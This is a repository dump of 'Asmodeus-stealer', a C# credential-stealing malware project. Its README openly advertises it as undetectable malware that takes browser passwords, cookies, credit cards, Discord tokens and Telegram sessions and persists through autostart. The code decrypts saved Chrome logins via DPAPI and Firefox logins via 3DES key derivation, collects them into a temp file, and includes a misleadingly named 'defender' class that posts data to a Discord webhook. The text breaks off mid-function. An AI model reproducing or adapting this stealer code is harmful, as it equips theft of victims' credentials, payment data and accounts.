├── ChromePassDecrypter.dll
├── FodyWeavers.xml
├── BrowserLoginData.cs
├── defender.cs
├── packages.config
├── LICENSE
├── FirefoxLoginsJSON.cs
├── Options.cs
├── App.config
├── README.md
├── app.manifest
├── ChromeDatabaseDecryptor.cs
├── FodyWeavers.xsd
├── MainHelper.cs
└── FirefoxDatabaseDecryptor.cs
/ChromePassDecrypter.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/exploitblizzard/Asmodeus-stealer/HEAD/ChromePassDecrypter.dll
--------------------------------------------------------------------------------
/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SQLite.Interop
6 |
7 |
8 | SQLite.Interop
9 |
10 |
11 |
--------------------------------------------------------------------------------
/BrowserLoginData.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 |
6 | namespace UploadAFile
7 | {
8 | public class BrowserLoginData
9 | {
10 | public string FormSubmitUrl { get; set; }
11 | public string Username { get; set; }
12 | public string Password { get; set; }
13 | public string Browser { get; set; }
14 |
15 | public BrowserLoginData(string url, string username, string password, string browser)
16 | {
17 | FormSubmitUrl = url;
18 | Username = username;
19 | Password = password;
20 | Browser = browser;
21 | }
22 |
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/defender.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Specialized;
3 | using System.Net;
4 |
5 | public class defender : IDisposable
6 | {
7 | private readonly WebClient dWebClient;
8 | private static NameValueCollection discordValues = new NameValueCollection();
9 | public string WebHook { get; set; }
10 | public string UserName { get; set; }
11 | public string ProfilePicture { get; set; }
12 |
13 | public defender()
14 | {
15 | dWebClient = new WebClient();
16 | }
17 |
18 |
19 | public void SendMessage(string msgSend)
20 | {
21 | discordValues.Add("username", UserName);
22 | discordValues.Add("avatar_url", ProfilePicture);
23 | discordValues.Add("content", msgSend);
24 |
25 | dWebClient.UploadValues(WebHook, discordValues);
26 | }
27 |
28 | public void Dispose()
29 | {
30 | dWebClient.Dispose();
31 | }
32 | }
--------------------------------------------------------------------------------
/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Exploit Blizzard
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/FirefoxLoginsJSON.cs:
--------------------------------------------------------------------------------
1 | namespace UploadAFile
2 |
3 | {
4 | public class FirefoxLoginsJSON
5 | {
6 |
7 | public class Rootobject
8 | {
9 | public int NextId { get; set; }
10 | public Login[] Logins { get; set; }
11 | public int Version { get; set; }
12 | public object[] PotentiallyVulnerablePasswords { get; set; }
13 | public Dismissedbreachalertsbyloginguid DismissedBreachAlertsByLoginGUID { get; set; }
14 | }
15 |
16 | public class Dismissedbreachalertsbyloginguid
17 | {
18 | }
19 |
20 | public class Login
21 | {
22 | public int Id { get; set; }
23 | public string Hostname { get; set; }
24 | public string HttpRealm { get; set; }
25 | public string FormSubmitURL { get; set; }
26 | public string UsernameField { get; set; }
27 | public string PasswordField { get; set; }
28 | public string EncryptedUsername { get; set; }
29 | public string EncryptedPassword { get; set; }
30 | public string Guid { get; set; }
31 | public int EncType { get; set; }
32 | public long TimeCreated { get; set; }
33 | public long TimeLastUsed { get; set; }
34 | public long TimePasswordChanged { get; set; }
35 | public int TimesUsed { get; set; }
36 | }
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/Options.cs:
--------------------------------------------------------------------------------
1 | using CommandLine;
2 |
3 | namespace UploadAFile
4 | {
5 | class Options
6 | {
7 | [Option('c', "chrome", HelpText = "Locate and attempt decryption of Google Chrome logins")]
8 | public bool Chrome { get; set; }
9 |
10 | [Option('f', "firefox", HelpText = "Locate and attempt decryption of Mozilla Firefox logins")]
11 | public bool Firefox { get; set; }
12 |
13 | [Option('a', "all", HelpText = "Locate and attempt decryption of Google Chrome and Mozilla Firefox logins")]
14 | public bool All { get; set; }
15 |
16 | [Option('p', "password", HelpText = "Master password for Mozilla Firefox Logins")]
17 | public string Password { get; set; }
18 |
19 | [Option('o', "outfile", HelpText = "write output to csv file")]
20 | public string Outfile { get; set; }
21 |
22 | [Option("help", HelpText = "Display Help Message")]
23 | public bool Help { get; set; }
24 |
25 | public Options()
26 | {
27 | Chrome = false;
28 | Firefox = false;
29 | All = false;
30 | Password = "";
31 | Outfile = "";
32 | Help = false;
33 |
34 | }
35 |
36 | public bool CheckIfNoArgs()
37 | {
38 | if ((Chrome.Equals(false)) && (Firefox.Equals(false))&& (All.Equals(false)) && (Help.Equals(false)))
39 | {
40 | return true;
41 | }
42 | else
43 | {
44 | return false;
45 | }
46 | }
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 | 
3 | Stealer written on C#
4 | This malware is un-killable and fully undetectable by antivirus, developed by Kingsman. It steals the browser passwords, Discord Tokens & Telegram data and sends it to drop-box using dropbox-Api.
5 |
6 |
7 | ***
8 |
9 |
10 |
11 |
12 | Connect with me:
13 |
14 |
15 |
16 |
17 |
18 |
19 | Languages & Tools used:
20 |
21 |
22 | # 💭 Must Read
23 | I have made the complete project online asmodeus stealer v1.1 (pazuzu). Do join our discord server
24 |
25 |
26 | ***
27 |
28 | # :construction: Disclaimer
29 | I, the creator, am not responsible for any actions, and or damages, caused by this software.
30 | You bear the full responsibility of your actions and acknowledge that this software was created for educational purposes only.
31 | This software's main purpose is NOT to be used maliciously, or on any system that you do not own, or have the right to use.
32 | By using this software, you automatically agree to the above.
33 |
34 | ***
35 |
36 | # ⭐ Features
37 | * Steal system info
38 | * Telegram sessions - hijack victim's telegram account
39 | * Chromium based browsers password
40 | * Gecko based browsers(firefox) password
41 | * Chrome Cookies
42 | * Stored Credit Cards in Chrome
43 | * Firefox cookies
44 | * Discord Tokens
45 | * Task Scheduler runs every day
46 | * Auto startup
47 | * Get results over discord & token over discord
48 |
49 | ***
50 |
51 | ## [💽 Download compiled exe and source code](https://github.com/exploitblizzard/Asmodeus-stealer/releases/)
52 |
53 |
54 | ***
55 |
56 | # 🔜 Upcoming features
57 | * Defender control v1.8 / defender inject feature
58 | * Fusion with any RAT or Converting this into RAT 😈
59 |
--------------------------------------------------------------------------------
/app.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
52 |
59 |
60 |
61 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/ChromeDatabaseDecryptor.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Data.SQLite;
4 | using System.IO;
5 | using System.Security.Cryptography;
6 | using System.Text;
7 |
8 | namespace UploadAFile
9 |
10 | {
11 | public class ChromeDatabaseDecryptor
12 | {
13 | private string FilePath { get; set; }
14 | public List ChromeLoginDataList { get; set; }
15 |
16 | public ChromeDatabaseDecryptor(string databaseFilePath)
17 | {
18 | SQLiteConnection connection;
19 |
20 | //Attempt connection to the 'Login Data' database file and decrypt its contents
21 | try
22 | {
23 | connection = ChromeDatabaseConnection(databaseFilePath);
24 | ChromeDatabaseDecrypt(connection);
25 | connection.Dispose();
26 | }
27 | //If unable to connect, copy the database to a temp directory and access the copied version of the db file
28 | catch (SQLiteException)
29 | {
30 | string tempDatabaseFilePath = Path.GetTempPath() + "Login Data";
31 |
32 | Console.ForegroundColor = ConsoleColor.Red;
33 | Console.WriteLine($"[-] Unable to access database file. Copying it to temporary location at:\n\t{Path.GetTempPath()}");
34 | Console.ResetColor();
35 |
36 | File.Copy(databaseFilePath, tempDatabaseFilePath, true);
37 |
38 | connection = ChromeDatabaseConnection(tempDatabaseFilePath);
39 | ChromeDatabaseDecrypt(connection);
40 |
41 | //The program will maintain a handle to the temp database file despite database connection disposal. Garbage collection necessary to release the temp file for deletion
42 | GC.Collect();
43 | GC.WaitForPendingFinalizers();
44 | File.Delete(tempDatabaseFilePath);
45 | }
46 | }
47 |
48 | private SQLiteConnection ChromeDatabaseConnection(string databaseFilePath)
49 | {
50 | FilePath = databaseFilePath;
51 | SQLiteConnection sqliteConnection = new SQLiteConnection(
52 | $"Data Source={FilePath};" +
53 | $"Version=3;" +
54 | $"New=True");
55 |
56 | ChromeLoginDataList = new List();
57 |
58 | sqliteConnection.Open();
59 |
60 | return sqliteConnection;
61 | }
62 |
63 | private void ChromeDatabaseDecrypt(SQLiteConnection sqliteConnection)
64 | {
65 | SQLiteCommand sqliteCommand = sqliteConnection.CreateCommand();
66 | sqliteCommand.CommandText = "SELECT action_url, username_value, password_value FROM logins";
67 | SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader();
68 |
69 | //Iterate over each returned row from the query
70 | while (sqliteDataReader.Read())
71 | {
72 | //Store columns as variables
73 | string formSubmitUrl = sqliteDataReader.GetString(0);
74 |
75 | //Avoid Printing empty rows
76 | if (string.IsNullOrEmpty(formSubmitUrl))
77 | {
78 | continue;
79 | }
80 |
81 | string username = sqliteDataReader.GetString(1);
82 | byte[] password = (byte[])sqliteDataReader[2]; //Cast to byteArray for DPAPI decryption
83 |
84 | try
85 | {
86 | //DPAPI Decrypt - Requires System.Security.dll and System.Security.Cryptography
87 | byte[] decryptedBytes = ProtectedData.Unprotect(password, null, DataProtectionScope.CurrentUser);
88 | string decryptedPasswordString = Encoding.ASCII.GetString(decryptedBytes);
89 |
90 | BrowserLoginData loginData = new BrowserLoginData(formSubmitUrl, username, decryptedPasswordString, "Chrome");
91 | ChromeLoginDataList.Add(loginData);
92 | }
93 | catch (Exception e)
94 | {
95 | Console.ForegroundColor = ConsoleColor.Red;
96 | Console.WriteLine($"[!] Error Decrypting Password: Exception {e}");
97 | Console.ResetColor();
98 | }
99 | }
100 | sqliteDataReader.Close();
101 | sqliteConnection.Dispose();
102 | }
103 | }
104 | }
--------------------------------------------------------------------------------
/FodyWeavers.xsd:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks
13 |
14 |
15 |
16 |
17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.
18 |
19 |
20 |
21 |
22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks.
23 |
24 |
25 |
26 |
27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks.
28 |
29 |
30 |
31 |
32 | The order of preloaded assemblies, delimited with line breaks.
33 |
34 |
35 |
36 |
37 |
38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.
39 |
40 |
41 |
42 |
43 | Controls if .pdbs for reference assemblies are also embedded.
44 |
45 |
46 |
47 |
48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.
49 |
50 |
51 |
52 |
53 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.
54 |
55 |
56 |
57 |
58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.
59 |
60 |
61 |
62 |
63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.
64 |
65 |
66 |
67 |
68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |
69 |
70 |
71 |
72 |
73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.
74 |
75 |
76 |
77 |
78 | A list of unmanaged 32 bit assembly names to include, delimited with |.
79 |
80 |
81 |
82 |
83 | A list of unmanaged 64 bit assembly names to include, delimited with |.
84 |
85 |
86 |
87 |
88 | The order of preloaded assemblies, delimited with |.
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
97 |
98 |
99 |
100 |
101 | A comma-separated list of error codes that can be safely ignored in assembly verification.
102 |
103 |
104 |
105 |
106 | 'false' to turn off automatic generation of the XML Schema file.
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/MainHelper.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Security.Principal;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace UploadAFile
10 | {
11 | class MainHelper
12 | {
13 |
14 |
15 | public static bool IsAdministrator()
16 | {
17 | var identity = WindowsIdentity.GetCurrent();
18 | var principal = new WindowsPrincipal(identity);
19 | return principal.IsInRole(WindowsBuiltInRole.Administrator);
20 | }
21 |
22 | public static List GetChromePasswords(string userAccountName)
23 | {
24 | List chromeProfiles = FindChromeProfiles();
25 |
26 | List loginDataList = new List();
27 |
28 | foreach (string chromeProfile in chromeProfiles)
29 | {
30 | var userName = Environment.UserName;
31 | var storedpass = "C:\\Users\\" + userName + "\\AppData\\Local\\Temp\\blizzard.txt";
32 | string loginDataFile = chromeProfile + @"\Login Data";
33 | if (File.Exists(loginDataFile))
34 | {
35 | Console.ForegroundColor = ConsoleColor.Green;
36 | Console.WriteLine($"[+] Found Chrome credential database for user: \"{userAccountName}\" at: \"{loginDataFile}\"");
37 | Console.ResetColor();
38 |
39 | ChromeDatabaseDecryptor decryptor = new ChromeDatabaseDecryptor(loginDataFile);
40 |
41 | loginDataList = (loginDataList.Concat(decryptor.ChromeLoginDataList)).ToList();
42 | /*using (StreamWriter sw = File.AppendText(storedpass))
43 | {
44 | sw.WriteLine(loginDataList);
45 | }
46 | Console.ReadLine();*/
47 | }
48 | else
49 | {
50 | Console.ForegroundColor = ConsoleColor.Red;
51 | Console.WriteLine($"[-] No credential database found in chrome profile {chromeProfile}");
52 | Console.ResetColor();
53 | }
54 | }
55 |
56 | return loginDataList;
57 | }
58 |
59 | public static List FindChromeProfiles()
60 | {
61 | string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
62 | string chromeDirectory = localAppData + @"\Google\Chrome\User Data";
63 |
64 | List profileDirectories = new List();
65 |
66 | if (Directory.Exists(chromeDirectory))
67 | {
68 | //Add default profile location once existence of chrome directory is confirmed
69 | profileDirectories.Add(chromeDirectory + "\\Default");
70 | foreach (string directory in Directory.GetDirectories(chromeDirectory))
71 | {
72 | if (directory.Contains("Profile "))
73 | {
74 | profileDirectories.Add(directory);
75 |
76 | }
77 | }
78 | }
79 |
80 | return profileDirectories;
81 | }
82 |
83 | //Overload for case where master password is set
84 | public static List GetFirefoxPasswords(string userAccountName, string masterPassword)
85 | {
86 | List loginDataList = new List();
87 |
88 | foreach (string profile in FindFirefoxProfiles(userAccountName))
89 | {
90 | FirefoxDatabaseDecryptor decryptor = new FirefoxDatabaseDecryptor(profile, masterPassword);
91 |
92 | try
93 | {
94 | //Take the list of logins from this decryptor and add them to the total list of logins
95 | loginDataList = (loginDataList.Concat(decryptor.FirefoxLoginDataList)).ToList();
96 | }
97 | catch (ArgumentNullException)
98 | {
99 | //ArgumentNullException will be thrown when no key4.db file exists in a profile directory
100 | }
101 |
102 | }
103 |
104 | return loginDataList;
105 | }
106 |
107 | public static List FindFirefoxProfiles(string userAccountName)
108 | {
109 | //List to store profile directories
110 | List profileDirectories = new List();
111 |
112 | //Roaming directory contains most firefox artifacts apart from cache
113 | string roamingDir = $"C:\\Users\\{userAccountName}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles";
114 |
115 | //Check roaming profile
116 | if (Directory.Exists(roamingDir))
117 | {
118 |
119 | string[] roamingProfiles = Directory.GetDirectories(roamingDir);
120 | foreach (string directory in roamingProfiles)
121 | {
122 | profileDirectories.Add(directory);
123 | }
124 | }
125 |
126 | return profileDirectories;
127 | }
128 |
129 | public static string GetCurrentUser()
130 | {
131 | //Get username for currently running account (SamCompatible Enum format)
132 | string userAccountSamCompatible = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
133 |
134 | //Remove domain and backslashes from name
135 | int index = userAccountSamCompatible.IndexOf("\\", 0, userAccountSamCompatible.Length) + 1;
136 | string userAccountName = userAccountSamCompatible.Substring(index);
137 |
138 | return userAccountName;
139 | }
140 |
141 | public static void PrintLoginsToConsole(List loginDataList)
142 | {
143 | var userName = Environment.UserName;
144 | var storedpass = "C:\\Users\\" + userName + "\\AppData\\Local\\Temp\\blizzard.txt";
145 |
146 | string line = new string('=', 60);
147 |
148 | Console.ForegroundColor = ConsoleColor.White;
149 | using (StreamWriter sw = File.AppendText(storedpass))
150 | {
151 | sw.WriteLine(line);
152 | }
153 |
154 |
155 | using (StreamWriter sw = File.AppendText(storedpass))
156 | {
157 | foreach (BrowserLoginData loginData in loginDataList)
158 | {
159 |
160 | sw.WriteLine($"URL {loginData.FormSubmitUrl}");
161 | sw.WriteLine($"Username {loginData.Username}");
162 | sw.WriteLine($"Password {loginData.Password}");
163 | sw.WriteLine($"Browser {loginData.Browser}");
164 | sw.WriteLine(line);
165 | }
166 | }
167 | Console.ResetColor();
168 | }
169 | /*
170 | public static void PrintHelpToConsole()
171 | {
172 | Console.ForegroundColor = ConsoleColor.White;
173 | Console.WriteLine("OPTIONS:");
174 | Console.WriteLine(" -c, --chrome Locate and decrypt Google Chrome logins\n");
175 | Console.WriteLine(" -f, --firefox Locate and decrypt Mozilla Firefox logins\n");
176 | Console.WriteLine(" -a, --all Locate and decrypt Google Chrome and Mozilla Firefox logins\n");
177 | Console.WriteLine(" -p, --password (Optional) Master password for Mozilla Firefox Logins\n");
178 | Console.WriteLine(" -o, --outfile Write output to csv\n");
179 | Console.WriteLine(" --help Display help message");
180 |
181 | Console.ResetColor();
182 | }
183 | */
184 | public static void WriteToCSV(List loginDataList, string outfile)
185 | {
186 | Console.ForegroundColor = ConsoleColor.Yellow;
187 | Console.WriteLine($"[*] Writing decrypted logins to {outfile}");
188 | Console.ResetColor();
189 |
190 | try
191 | {
192 | using (StreamWriter file = new StreamWriter(outfile))
193 | {
194 | file.WriteLine("URL,Username,Password,Browser");
195 |
196 | foreach (BrowserLoginData loginData in loginDataList)
197 | {
198 | file.WriteLine($"{loginData.FormSubmitUrl}," +
199 | $"{loginData.Username}," +
200 | $"{loginData.Password}," +
201 | $"{loginData.Browser}");
202 | }
203 | }
204 | }
205 | catch (Exception e)
206 | {
207 | Console.ForegroundColor = ConsoleColor.Red;
208 | Console.WriteLine(e);
209 | Console.ResetColor();
210 | }
211 | }
212 | }
213 | }
214 |
--------------------------------------------------------------------------------
/FirefoxDatabaseDecryptor.cs:
--------------------------------------------------------------------------------
1 | using Newtonsoft.Json;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Data.SQLite;
5 | using System.IO;
6 | using System.Linq;
7 | using System.Security.Cryptography;
8 | using System.Text;
9 |
10 | namespace UploadAFile
11 | {
12 | public class FirefoxDatabaseDecryptor
13 | {
14 | private string ProfileDir { get; set; }
15 | private string Key4dbpath { get; set; }
16 | private byte[] GlobalSalt { get; set; }
17 | private byte[] EntrySaltPasswordCheck { get; set; }
18 | private byte[] EntrySalt3DESKey { get; set; }
19 | private byte[] CipherTextPasswordCheck { get; set; }
20 | private byte[] CipherText3DESKey { get; set; }
21 | private string MasterPassword { get; set; }
22 | private byte[] DecryptedPasswordCheck { get; set; }
23 | private byte[] Decrypted3DESKey { get; set; }
24 | public List FirefoxLoginDataList { get; set; }
25 |
26 | public FirefoxDatabaseDecryptor(string profile, string password)
27 | {
28 | ProfileDir = profile;
29 | Key4dbpath = ProfileDir + @"\key4.db";
30 | MasterPassword = password;
31 |
32 | //Check profile for key4 database before attempting decryption
33 | if (File.Exists(Key4dbpath))
34 | {
35 | Console.ForegroundColor = ConsoleColor.Green;
36 | Console.WriteLine($"[+] Found Firefox credential database at: \"{Key4dbpath}\"");
37 | Console.ResetColor();
38 |
39 | // If Firefox version >= 75.0, asn.1 parser will throw IndexOutOfRange exception when trying to parse encrypted data as asn.1 DER encoded
40 | try
41 | {
42 | Key4DatabaseConnection(Key4dbpath);
43 | }
44 | catch(IndexOutOfRangeException e)
45 | {
46 | Console.ForegroundColor = ConsoleColor.Red;
47 | Console.WriteLine($"[-] Could not correctly parse the contents of {Key4dbpath} - possibly incorrect Firefox version.");
48 | Console.ResetColor();
49 | }
50 |
51 |
52 | //Store a RootObject from FirefoxLoginsJSON (hopefully) containing multiple FirefoxLoginsJSON.Login instances
53 | FirefoxLoginsJSON.Rootobject JSONLogins = GetJSONLogins(ProfileDir);
54 |
55 | //Decrypt password-check value to ensure correct decryption
56 | DecryptedPasswordCheck = Decrypt3DES(GlobalSalt, EntrySaltPasswordCheck, CipherTextPasswordCheck, MasterPassword);
57 |
58 | if (PasswordCheck(DecryptedPasswordCheck))
59 | {
60 | //Decrypt master key (this becomes padded EDE key for username / password decryption)
61 | //Master key should have 8 bytes of PKCS#7 Padding
62 | Decrypted3DESKey = Decrypt3DES(GlobalSalt, EntrySalt3DESKey, CipherText3DESKey, MasterPassword);
63 |
64 | //Check for PKCS#7 padding and remove if it exists
65 | Decrypted3DESKey = Unpad(Decrypted3DESKey);
66 |
67 | FirefoxLoginDataList = new List();
68 |
69 | Console.ForegroundColor = ConsoleColor.Yellow;
70 | foreach (FirefoxLoginsJSON.Login login in JSONLogins.Logins)
71 | {
72 | try
73 | {
74 | if (!(login.FormSubmitURL.Equals(null)))
75 | {
76 | byte[] usernameBytes = Convert.FromBase64String(login.EncryptedUsername);
77 | byte[] passwordBytes = Convert.FromBase64String(login.EncryptedPassword);
78 |
79 | ASN1 usernameASN1 = new ASN1(usernameBytes);
80 |
81 | byte[] usernameIV = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0];
82 | byte[] usernameEncrypted = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1];
83 |
84 | //Extract password ciphertext from logins.json
85 | ASN1 passwordASN1 = new ASN1(passwordBytes);
86 |
87 | byte[] passwordIV = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0];
88 | byte[] passwordEncrypted = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1];
89 |
90 | string decryptedUsername = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(usernameEncrypted, usernameIV, Decrypted3DESKey)));
91 | string decryptedPassword = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(passwordEncrypted, passwordIV, Decrypted3DESKey)));
92 |
93 | BrowserLoginData loginData = new BrowserLoginData(login.FormSubmitURL, decryptedUsername, decryptedPassword, "Firefox");
94 | FirefoxLoginDataList.Add(loginData);
95 | }
96 | }
97 | catch (NullReferenceException)
98 | {
99 |
100 | }
101 | }
102 | Console.ResetColor();
103 | }
104 | }
105 | else
106 | {
107 | Console.ForegroundColor = ConsoleColor.Red;
108 | Console.WriteLine($"[-] No credential database found for Firefox profile: {ProfileDir}");
109 | Console.ResetColor();
110 | }
111 | }
112 |
113 | // read logins.json file and deserialize the JSON into FirefoxLoginsJSON class
114 | public FirefoxLoginsJSON.Rootobject GetJSONLogins(string profileDir)
115 | {
116 |
117 | if (File.Exists(profileDir + @"\logins.json"))
118 | {
119 | //Read logins.json from file and deserialise JSON into FirefoxLoginsJson object
120 | string file = File.ReadAllText(profileDir + @"\logins.json");
121 | FirefoxLoginsJSON.Rootobject JSONLogins = JsonConvert.DeserializeObject(file);
122 |
123 | return JSONLogins;
124 | }
125 | else
126 | {
127 | throw new FileNotFoundException($"Could not find file '{profileDir}\\logins.json.\nUnable to decrypt logins for this profile.'");
128 | }
129 |
130 | }
131 |
132 | public void Key4DatabaseConnection(string key4dbPath)
133 | {
134 | SQLiteConnection connection = new SQLiteConnection(
135 | $"Data Source={key4dbPath};" +
136 | $"Version=3;" +
137 | $"New=True");
138 |
139 | try
140 | {
141 | connection.Open();
142 |
143 | //First query the metadata table to verify the master password
144 | SQLiteCommand commandPasswordCheck = connection.CreateCommand();
145 | commandPasswordCheck.CommandText = "SELECT item1, item2 FROM metadata WHERE id = 'password'";
146 | SQLiteDataReader dataReader = commandPasswordCheck.ExecuteReader();
147 |
148 | //Parse the ASN.1 data in the 'password' row to extract entry salt and cipher text for master password verification
149 | while (dataReader.Read())
150 | {
151 | GlobalSalt = (byte[])dataReader[0];
152 |
153 | //https://docs.microsoft[.]com/en-us/dotnet/api/system.security.cryptography.asnencodeddata?view=netframework-4.8#constructors
154 | byte[] item2Bytes = (byte[])dataReader[1];
155 |
156 | ASN1 passwordCheckASN1 = new ASN1(item2Bytes);
157 |
158 | EntrySaltPasswordCheck = passwordCheckASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[0];
159 | CipherTextPasswordCheck = passwordCheckASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[1];
160 | }
161 |
162 | //Second, query the nssPrivate table for entry salt and encrypted 3DES key
163 | SQLiteCommand commandNSSPrivateQuery = connection.CreateCommand();
164 | commandNSSPrivateQuery.CommandText = "SELECT a11 FROM nssPrivate";
165 | dataReader = commandNSSPrivateQuery.ExecuteReader();
166 |
167 | //Parse the ASN.1 data from the nssPrivate table to extract entry salt and cipher text for encrypted 3DES master decryption key
168 | while (dataReader.Read())
169 | {
170 | byte[] a11 = (byte[])dataReader[0];
171 |
172 | ASN1 masterKeyASN1 = new ASN1(a11);
173 |
174 | EntrySalt3DESKey = masterKeyASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[0];
175 | CipherText3DESKey = masterKeyASN1.RootSequence.Sequences[0].Sequences[0].Sequences[0].OctetStrings[1];
176 | }
177 | }
178 | catch (IndexOutOfRangeException)
179 | {
180 |
181 | throw new IndexOutOfRangeException();
182 | }
183 | catch (Exception e)
184 | {
185 | Console.ForegroundColor = ConsoleColor.Red;
186 | Console.WriteLine($"[-] {e.Message}");
187 | Console.ResetColor();
188 | }
189 | finally
190 | {
191 | connection.Dispose();
192 | }
193 | }
194 |
195 | public static byte[] Decrypt3DES(byte[] globalSalt, byte[] entrySalt, byte[] cipherText, string masterPassword)
196 | {
197 | //https://github[.]com/lclevy/firepwd/blob/master/mozilla_pbe.pdf
198 |
199 | byte[] password = Encoding.UTF8.GetBytes(masterPassword);
200 | byte[] hashedPassword;
201 | byte[] keyFirstHalf;
202 | byte[] keySecondHalf;
203 | byte[] edeKey;
204 | byte[] decryptedResult;
205 |
206 | //Hashed Password = SHA1(salt + password)
207 | byte[] hashedPasswordBuffer = new byte[globalSalt.Length + password.Length];
208 | //Copy salt into first chunk of new buffer
209 | Buffer.BlockCopy(globalSalt, 0, hashedPasswordBuffer, 0, globalSalt.Length);
210 | //Copy password into second chunk of buffer
211 | Buffer.BlockCopy(password, 0, hashedPasswordBuffer, globalSalt.Length, password.Length);
212 | hashedPassword = hashedPasswordBuffer;
213 |
214 | using (SHA1 sha1 = new SHA1CryptoServiceProvider())
215 | {
216 | hashedPassword = sha1.ComputeHash(hashedPassword);
217 | }
218 |
219 | //Combined Hashed Password = SHA1(hashedpassword + entrysalt)
220 | byte[] combinedHashedPassword = new byte[hashedPassword.Length + entrySalt.Length];
221 | Buffer.BlockCopy(hashedPassword, 0, combinedHashedPassword, 0, hashedPassword.Length);
222 | Buffer.BlockCopy(entrySalt, 0, combinedHashedPassword, hashedPassword.Length, entrySalt.Length);
223 |
224 | using (SHA1 sha1 = new SHA1CryptoServiceProvider())
225 | {
226 | combinedHashedPassword = sha1.ComputeHash(combinedHashedPassword);
227 | }
228 |
229 | //Create paddedEntrySalt
230 | byte[] paddedEntrySalt = new byte[20];
231 | Buffer.BlockCopy(entrySalt, 0, paddedEntrySalt, 0, entrySalt.Length);
232 |
233 | //Create and join the two halves of the encryption key
234 | try
235 | {
236 | using (HMACSHA1 hmac = new HMACSHA1(combinedHashedPassword))
237 | {
238 | //First half of EDE Key = HMAC-SHA1( key=combinedHashedPassword, msg=paddedEntrySalt+entrySalt)
239 | byte[] firstHalf = new byte[paddedEntrySalt.Length + entrySalt.Length];
240 | Buffer.BlockCopy(paddedEntrySalt, 0, firstHalf, 0, paddedEntrySalt.Length);
241 | Buffer.BlockCopy(entrySalt, 0, firstHalf, paddedEntrySalt.Length, entrySalt.Length);
242 |
